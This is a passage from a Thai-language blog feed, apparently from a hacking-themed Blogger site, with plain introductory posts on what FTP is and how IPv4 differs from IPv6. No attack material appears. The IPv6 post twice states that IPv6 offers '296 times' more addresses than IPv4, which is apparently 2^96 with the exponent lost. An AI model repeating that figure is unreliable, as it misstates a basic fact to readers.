&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;FTP คืออะไร&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
 FTP ย่อมาจาก File Transfer Protocol คือ โปรโตคอลเครือข่ายชนิดหนึ่ง 
ถูกนำใช้ในการถ่ายโอนไฟล์ ระหว่างเครื่องคอมพิวเตอร์ 
อย่างการถ่ายโอนไฟล์ระหว่าง ไคลเอนต์ (client) 
กับเครื่องคอมพิวเตอร์ที่เป็นแม่ข่าย เรียกว่า โฮสติง (hosting) หรือ 
เซิร์ฟเวอร์ 
ซึ่งทำให้การถ่ายโอนไฟล์ง่ายและปลอดภัยในการแลกเปลี่ยนไฟล์ผ่านอินเตอร์เน็ต
 การใช้ FTP ที่พบบ่อยสุด ก็เช่น การดาวน์โหลดไฟล์จากอินเทอร์เน็ต 
ความสามารถในการถ่ายโอนไฟล์ ทำให้ FTP 
เป็นสิ่งจำเป็นสำหรับทุกคนที่สร้างเว็บเพจ ทั้งมือสมัครเล่นและมืออาชีพ 
โดยที่การติดต่อกันทาง FTP เราจะต้องติดต่อกันทาง Port 21 
ซึ่งก่อนที่จะเข้าใช้งานได้นั้น จะต้องเป็นสมาชิกและมีชื่อผู้เข้าใช้ 
(User) และ รหัสผู้เข้าใช้ (password) ก่อน 
และโปรแกรมสำหรับติดต่อกับแม่ข่าย (server) ส่วนมากจะใช้โปรแกรมสำเร็จรูป 
เช่น โปรแกรม Filezilla,CuteFTP หรือ WSFTP ในการติดต่อ เป็นต้น&lt;br /&gt;
FTP แบ่งเป็น 2 ส่วน&lt;br /&gt;
1. FTP server &amp;nbsp;เป็นโปรแกรมที่ถูกติดตั้งไว้ที่เครื่องเซิฟเวอร์ ทำหน้าที่ให้บริการ FTP หากมีการเชื่อมต่อจากไคลแอนเข้าไป&lt;br /&gt;
2.
 FTP client &amp;nbsp;เป็นโปรแกรม FTP ที่ถูกติดตั้งในเครื่องคอมพิวเตอร์ของ user 
ทั่วๆไป ทำหน้าที่เชื่อมต่อไปยัง FTP server และทำการอัพโหลด 
,ดาวน์โหลดไฟล์ หรือ จะสั่งแก้ไขชื่อไฟล์, ลบไฟล์ 
และเคลื่อนย้ายไฟล์ก็ได้เช่นกัน&lt;br /&gt;
ความสำคัญของ FTP&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
โดยปกติเมื่อเราต้องการทำเว็บไซต์ไม่ว่าด้วยจุดประสงค์ใดก็ตาม 
สิ่งที่เราจะต้องนึกถึงและขาดไม่ได้คือ Hosting หรือ Server 
ซึ่งในปัจจุบันมีผู้ให้บริการอยู่เป็นจำนวนมาก 
การที่เว็บไซต์ของเราสามารถให้บริการได้ตลอด 24 ชั่วโมง โดยไม่มีหยุดนั้น 
ก็เพราะ Hosting ไม่เคยปิดนั่นเอง ส่วนการสร้างเว็บไซต์เกิดจากการเขียน 
Code โปรแกรม ไม่ว่าจะเขียนด้วยภาษา &lt;a class=&quot;hasTip&quot; href=&quot;http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD.html?id=2026&quot; title=&quot;&quot;&gt;HTML &lt;/a&gt;, &lt;a class=&quot;hasTip&quot; href=&quot;http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD.html?id=2127&quot; title=&quot;&quot;&gt;PHP &lt;/a&gt;, &lt;a class=&quot;hasTip&quot; href=&quot;http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD.html?id=2314&quot; title=&quot;&quot;&gt;ASP &lt;/a&gt;,
 ฯลฯ ล้วนแล้วแต่ต้องนำไฟล์ที่เราเขียนเสร็จเรียบร้อยไปใส่บน Hosting 
เพื่อสามารถให้บริการได้ตลอด 24 ชั่วโมง 365 วัน 
แต่ด้วยหนทางที่อยู่ไกลกันระหว่างเรากับ Hosting ที่เราขอใช้บริการไว้ 
เราจึงต้องใช้เทคโนโลยีของคอมพิวเตอร์ 
ในการโอนย้ายไฟล์ระหว่างเครื่องคอมพิวเตอร์ของเรา กับ Hosting 
ซึ่งเทคโนโลยีนั้นคือ FTP นั่นเอง&lt;br /&gt;
&lt;br /&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/569398374554255865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/569398374554255865'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/p2p-peer-to-peer-ftp.html' title='P2P (Peer to Peer) และ FTP คืออะไร'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5VFhobQifLFq3oSgI0X7eGhyphenhypheneKzzaJgiWY0LqMBhx3cmWNCA72ZKXpoygyOH2VxsiaBIs6SOLqPm9Ppo9J-qiMSM1qARY088HdVpbHvkLIcGBIJL16zlAFoRXJ1hzf2ueoT9ClNPwBSVm/s72-c/ftp_made_simple-main.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-8030250947492189863</id><published>2013-10-30T06:56:00.001+07:00</published><updated>2013-10-30T07:28:44.531+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="ยิงIP"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>ความแตกต่างระหว่าง IPV4 กับ IPV6</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim8ICMH-pzhX79oh6iVzPDiVHAgdADd8kd2E-5zmOLtidMMQJaFM1I5jD6B83XdUk7xvXTiP7kopTZmZM_tNOX1GIYAIMSX3YWjgUc4_weUgdSJ7Mo59EBl_uV29uBOqdqhbvNK5LhDIgd/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzP0UbOQrSwSqoNJqZMNtJ7Py3G8-fOnOu69gNVYsxmjie7VyRiDp8nbOCFRCdiEJdI__F0FrzoTyFi7fqsT5RK8E2RCHn1Ew4xI_BLx78rOBZ_ApPzrDhnpRjD0Jg4nZy1DAtN-4_GX4X/s1600/Untitled-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;202&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzP0UbOQrSwSqoNJqZMNtJ7Py3G8-fOnOu69gNVYsxmjie7VyRiDp8nbOCFRCdiEJdI__F0FrzoTyFi7fqsT5RK8E2RCHn1Ew4xI_BLx78rOBZ_ApPzrDhnpRjD0Jg4nZy1DAtN-4_GX4X/s400/Untitled-2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;IPV4 และ IPV6 คืออะไร&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;IPv4 คืออะไร&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;IPv4 คือ หมายเลข IP address มีขนาด 32 บิท IPv4 ย่อมาจาก &quot;Internet Protocol Version 4 ถูกแบ่งออกเป็น 4 ชุดด้วยเครื่องหมายจุด โดยแต่ละชุดมีขนาด 8 บิท&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;ความแตกต่างของ IPv4 และ IPv6 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;การกำหนดหมายเลขของ IPv4 จะกำหนดได้น้อยกว่า IPv6 สามารถกำหนดไอพีแอดเดรส มีมากถึง 296 เท่า และความแตกต่างระหว่าง IPv6 และ IPv4 คือ การเลือกเส้นทาง ( Routing) ความปลอดภัย อุปกรณ์แปลแอดเดรส (Networl Address Translator : NAT) การลดภาระในการจัดการของผู้ดูแลระบบ และการรองรับการใช้งานในอุปกรณ์พกพา (Mobile Devices)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;อินเทอร์เน็ตโพรโตคอล รุ่นที่ 6 หรือ IPv6&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;ปัจจุบันนี้อินเทอร์เน็ตเข้ามามีบทบาทสำคัญในชีวิตประจำวันของเรามากยิ่งขึ้นและมีเทคโนโลยีต่างๆมากมายที่จะต้องใช้อินเทอร์เน็ตในการเชื่อมต่อถึงกัน ดังในปัจจุบันเราจะเห็นได้ว่าแม้กระทั่งโทรศัพท์มือถือก็มีอินเทอร์เน็ตเป็นส่วนประกอบหนึ่งรวมไปถึงอุปกรณ์อิเล็กทรอนิกส์ต่างๆ&lt;br /&gt;&lt;br /&gt;กลไกสำคัญในการทำงานของอินเทอร์เน็ต คือ อินเทอร์เน็ตโพรโตคอล (Internet Protocol) ซึงส่วนประกอบที่สำคัญของอินเทอร์เน็ตโพรโตคอลได้แก่ ไอพีแอดเดรส (IP address) ที่ใช้ในการอ้างอิงเครื่องคอมพิวเตอร์และอุปกรณ์เครือข่ายต่างๆ บนอินเทอร์เน็ตทั่วโลก เปรียบเสมือนการใช้งานโทรศัพท์ในการติดต่อสื่อสารกัน จะต้องมีหมายเลขโทรศัพท์เพื่อให้อ้างอิงผู้รับสายได้ คอมพิวเตอร์ทุกเครื่องในอินเทอร์เน็ตก็ต้องมีหมายเลขไอพีแอดเดรส ที่ไม่ซ้ำกับใคร&lt;br /&gt;&lt;br /&gt;ปัจจุบันเราใช้ไอพีแอดเดรส (IP address) บนมาตรฐานของอินเตอร์เน็ตโพรโตคอลคือ Internet Protocol version 4 (IPv4) ซึ่งเราใช้เป็นมาตรฐานในการส่งข้อมูลในเครือข่ายอินเทอร์เน็ตตั้งแต่ปี ค.ศ. 1981 ทั้งนี้การขยายตัวของเครือข่ายอินเทอร์เน็ตในช่วงที่ผ่านมามีอัตราการเติบโตอย่างรวดเร็ว&lt;br /&gt;&lt;br /&gt;นักวิจัยเริ่มพบว่าจำนวนไอพีแอดเดรส (IP address) ของ IPv4 กำลังจะถูกใช้หมดไป ไม่เพียงพอกับการใช้งานอินเทอร์เน็ตในอนาคตจนคาดคะเนกันว่าหมายเลขไอพีแอดเดรสของ IPv4 จะมีไม่พอกับความต้องการในปี ค.ศ. 2010 และหากเกิดขึ้นก็หมายความว่าเราจะไม่สามารถเชื่อมต่อเครือข่ายเข้ากับ ระบบอินเทอร์เน็ตที่เพิ่มขึ้นได้อีก ดังนั้นคณะทำงาน IETF (The Internet Engineering Task Force) ซึ่งตระหนักถึงปัญหาสำคัญดังกล่าว จึงได้พัฒนาอินเทอร์เน็ตโพรโตคอลรุ่นใหม่ขึ้น คือ รุ่นที่หก (Internet Protocol version 6; IPv6) เพื่อทดแทนอินเทอร์เน็ตโพรโตคอลรุ่นเดิม โดยมีวัตถุประสงค์ IPv6 เพื่อปรับปรุงโครงสร้างของตัวโพรโตคอล ให้รองรับไอพีแอดเดรส (IP address) จำนวนมาก และปรับปรุงคุณลักษณะอื่นๆ อีกหลายประการ ทั้งในแง่ของประสิทธิภาพและความปลอดภัยรองรับระบบแอพพลิเคชั่น (application) ใหม่ๆ ที่จะเกิดขึ้นในอนาคต และเพิ่มประสิทธิภาพในการประมวลผลแพ็กเก็ต (packet) ให้ดีขึ้น ทำให้สามารถตอบสนองต่อการขยายตัวและความต้องการใช้งานเทคโนโลยีบนเครือข่ายอินเทอร์เน็ตในอนาคตได้เป็นอย่างดี&lt;br /&gt;&lt;br /&gt;Internet Protocol version 6 (IPv6) บางครั้งเรียกว่า Next Generation Internet Protocol หรือ IPng ถูกออกแบบมาให้ทำงานได้ดีในเครือข่ายที่มีประสิทธิภาพสูง (เช่น Gigabit Ethernet, OC-12,ATM) และในขณะเดียวกันก็ยังสามารถทำงานในเครือข่ายที่มีประสิทธิภาพต่ำได้ (เช่น Wireless Network) นอกจากนี้ยังได้มีการจัดเตรียมแพลตฟอร์มสำหรับฟังก์ชันใหม่ๆ ของอินเตอร์เน็ตซึ่งเป็นที่ต้องการใช้ในอนาคต ความแตกต่างระหว่าง IPv6 และ IPv4 มีอยู่ 5 ส่วนใหญ่ๆ คือ ไอพีแอดเดรส (IP address) และการเลือกเส้นทาง (Addressing &amp;amp; Routing) ความปลอดภัย อุปกรณ์แปลแอดเดรส (Network Address Translator : NAT) การลดภาระในการจัดการของผู้ดูแลระบบ และการรองรับการใช้งานในอุปกรณ์พกพา (Mobile Devices)&lt;br /&gt;&lt;br /&gt;ประโยชน์หลักของ IPv6 และเป็นเหตุผลสำคัญของการเริ่มใช้ IPv6 ได้แก่ จำนวน ไอพีแอดเดรส ที่เพิ่มขึ้นอย่างมากมายมหาศาลเมื่อเปรียบเทียบกับจำนวน ไอพีแอดเดรส เดิมภายใต้ IPv4 address มี 32 บิต ในขณะที่ IPv6 address มี 128 บิต ความแตกต่างของจำนวน ไอพีแอดเดรส มีมากถึง 296 เท่า&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmXvGL4x3bGTEQr9uDN6YV7uZsB7LuL8a73bsqgPe6CXbwlA87qPTDLwNz0taCMN0M5cDXBOmPx6-E8A-Fn-eeODIwS63oo624GMww14huqGNDC8W_-TMxaD1nTfJTHp2RaqB9EmyTFIA/s1600/pic1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmXvGL4x3bGTEQr9uDN6YV7uZsB7LuL8a73bsqgPe6CXbwlA87qPTDLwNz0taCMN0M5cDXBOmPx6-E8A-Fn-eeODIwS63oo624GMww14huqGNDC8W_-TMxaD1nTfJTHp2RaqB9EmyTFIA/s320/pic1.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
รูปที่ 1 รูปแบบของแอดเดรส IPv4 และ IPv6&lt;br /&gt;
&lt;br /&gt;
หมายเลขแอดเดรสของ IPv6 มีลักษณะประกอบไปด้วย กลุ่มตัวเลข 8 กลุ่ม เขียนขั้นกั้นด้วยเครื่องหมาย “ : ” โดยแต่ละกลุ่มคือเลขฐาน 16 จำนวน 4 ตัว (16 bit)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-5zN1Vrg4K6UP0IvAvijZ0EKLeloaPalA-OZI7IVC3jjh3B0WBD5oFLs7tMp9LrHPclxjMhx1RbXpPimT1FcJGp_fM6py2_R3UPrz0hQwSCLOAOLBSBkFfOoo258MQJpj5EbOF5kOqLU/s1600/pic2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-5zN1Vrg4K6UP0IvAvijZ0EKLeloaPalA-OZI7IVC3jjh3B0WBD5oFLs7tMp9LrHPclxjMhx1RbXpPimT1FcJGp_fM6py2_R3UPrz0hQwSCLOAOLBSBkFfOoo258MQJpj5EbOF5kOqLU/s320/pic2.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
รูปที่ 2 ตัวอย่างหมายเลขแอดเดรส IPv4 และ IPv6&lt;br /&gt;
&lt;br /&gt;
ด้วยความยาวที่เพิ่มขึ้นของ IPv6 address ทำให้ไม่สะดวกที่จะใช้ตัวเลขฐานสิบ สามารถเขียนแบบย่อได้ โดยมีเงื่อนไขดังนี้&lt;br /&gt;
&lt;br /&gt;
1.หากมีเลขศูนย์ด้านหน้าของกลุ่มใดสามารถจะละไว้ได้&lt;br /&gt;
&lt;br /&gt;
2.หากกลุ่มใดเป็นเลขศูนย์ทั้ง 4 ตัว (0000) สามารถเขียนแทนด้วย “ 0 ”&lt;br /&gt;
&lt;br /&gt;
3.หากกลุ่มใดกลุ่มหนึ่ง (หรือหลายๆกลุ่มที่ตำแหน่งติดกัน) เป็นเลขศูนย์ทั้งหมด สามารถจะละไว้ได้โดยใช้เครื่องหมาย “ :: ” แต่จะสามารถทำลักษณะนี้ได้ตำแหน่งเดียวเท่านั้นเพื่อไม่ให้เกิดความสับสน&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyuPsGfYENP2oGiYLLGr1uXn4e7JVSzm5FSgR4nZ5I0I7OQ2_2B6ApUhNxxhTFRtpKCTYPYXw2TE-P8-nt7uVyYqZpBgCm9JQwHQXhabA97LNiIEiPQ4tilbhDwkPH6-0hOr-p-229Bmg/s1600/pic3.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyuPsGfYENP2oGiYLLGr1uXn4e7JVSzm5FSgR4nZ5I0I7OQ2_2B6ApUhNxxhTFRtpKCTYPYXw2TE-P8-nt7uVyYqZpBgCm9JQwHQXhabA97LNiIEiPQ4tilbhDwkPH6-0hOr-p-229Bmg/s320/pic3.JPG&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;รูปที่ 3 ตัวอย่างการเขียนหมายเลขแอดเดรส IPv6 แบบย่อ&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;เปรียบเทียบ Header ระหว่าง IPv4 และ IPv6&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;เฮดเดอร์ (Header) ของข้อมูลแบบ IPv6 แพ็กเก็ต (packet) ถูกออกแบบมาให้มีขนาดคงที่ที่ 40 ไบต์ (bytes) และมีรูปแบบที่ง่ายที่สุดเท่าที่จะทำได้ โดยเฮดเดอร์ จะประกอบด้วยตำแหน่งต่างๆที่จำเป็นต้องใช้ในการประมวลผลแพ็กเก็ต (packet) ที่เราเตอร์ (router) หรืออุปกรณ์เลือกเส้นทางทุกตัวเท่านั้น ส่วนตำแหน่งที่อาจจะถูกประมวลผลเฉพาะที่ต้นหรือปลายทางหรือที่เราท์เตอร์บางตัว จะถูกแยกออกมาไว้ที่ส่วนขยายของเฮดเดอร์ (extended header)&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKn-MD-RFBLoCfCyhfrl-PX83bOmPXqFDX_3UgYpfFbqcHiL9Lr0IZKh6Xpz0Vrby2PuiBAjh2YDVxpoKzHWNuL_NhZhY1OkFqEuhyTZKbGD0OYi5A5HsghKD3N2THnvFCd8EAiuJlSHE/s1600/pic4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; color: #6699cc; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: initial;&quot;&gt;&lt;img border=&quot;0&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKn-MD-RFBLoCfCyhfrl-PX83bOmPXqFDX_3UgYpfFbqcHiL9Lr0IZKh6Xpz0Vrby2PuiBAjh2YDVxpoKzHWNuL_NhZhY1OkFqEuhyTZKbGD0OYi5A5HsghKD3N2THnvFCd8EAiuJlSHE/s320/pic4.jpg&quot; style=&quot;border: none; position: relative;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;&quot; /&gt;
